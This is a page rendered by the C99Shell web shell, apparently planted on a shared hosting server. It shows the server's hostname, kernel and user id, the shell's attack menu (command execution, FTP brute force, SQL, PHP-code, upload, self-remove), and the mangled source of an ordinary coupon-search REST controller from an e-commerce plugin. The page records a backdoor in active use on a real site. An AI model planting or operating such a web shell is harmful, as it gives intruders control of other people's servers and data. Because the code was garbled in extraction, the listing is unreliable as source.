!C99Shell v. 2.0 [PHP 7 Update] [25.02.2019]!

Software: Apache. PHP/7.3.33 

uname -a: Linux acloudg.aryanict.com 4.18.0-513.9.1.lve.el8.x86_64 #1 SMP Mon Dec 4 15:01:22 UTC
2023 x86_64
 

uid=1095(katebhospital) gid=1098(katebhospital) groups=1098(katebhospital) 

Safe-mode: OFF (not secure)

/var/softaculous/sitepad/editor/site-data/plugins/kkart-pro/packages/kkart-admin/src/API/   drwxr-xr-x
Free 293.01 GB of 429.69 GB (68.19%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     Coupons.php (2.12 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php
/**
 * REST API Coupons Controller
 *
 * Handles requests to /coupons/*
 */

namespace Automattic\Kkart\Admin\API;

defined'ABSPATH' ) || exit;

/**
 * Coupons controller.
 *
 * @extends KKART_REST_Coupons_Controller
 */
class Coupons extends \KKART_REST_Coupons_Controller {

    
/**
     * Endpoint namespace.
     *
     * @var string
     */
    
protected $namespace 'kkart-analytics';

    
/**
     * Get the query params for collections.
     *
     * @return array
     */
    
public function get_collection_params() {
        
$params           parent::get_collection_params();
        
$params['search'] = array(
            
'description'       => __'Limit results to coupons with codes matching a given string.''kkart' ),
            
'type'              => 'string',
            
'validate_callback' => 'rest_validate_request_arg',
        );
        return 
$params;
    }


    
/**
     * Add coupon code searching to the KKART API.
     *
     * @param WP_REST_Request $request Request data.
     * @return array
     */
    
protected function prepare_objects_query$request ) {
        
$args parent::prepare_objects_query$request );

        if ( ! empty( 
$request['search'] ) ) {
            
$args['search'] = $request['search'];
            
$args['s']      = false;
        }

        return 
$args;
    }

    
/**
     * Get a collection of posts and add the code search option to WP_Query.
     *
     * @param WP_REST_Request $request Full details about the request.
     * @return WP_Error|WP_REST_Response
     */
    
public function get_items$request ) {
        
add_filter'posts_where', array( __CLASS__'add_wp_query_search_code_filter' ), 10);
        
$response parent::get_items$request );
        
remove_filter'posts_where', array( __CLASS__'add_wp_query_search_code_filter' ), 10 );
        return 
$response;
    }

    
/**
     * Add code searching to the WP Query
     *
     * @param string $where Where clause used to search posts.
     * @param object $wp_query WP_Query object.
     * @return string
     */
    
public static function add_wp_query_search_code_filter$where$wp_query ) {
        global 
$wpdb;

        
$search $wp_query->get'search' );
        if ( 
$search ) {
            
$code_like '%' $wpdb->esc_like$search ) . '%';
            
$where    .= $wpdb->prepare"AND {$wpdb->posts}.post_title LIKE %s"$code_like );
        }

        return 
$where;
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ Read-Only ]

:: Make Dir ::
 
[ Read-Only ]
:: Make File ::
 
[ Read-Only ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.0 [PHP 7 Update] [25.02.2019] maintained by KaizenLouie | C99Shell Github | Generation time: 0.0036 ]--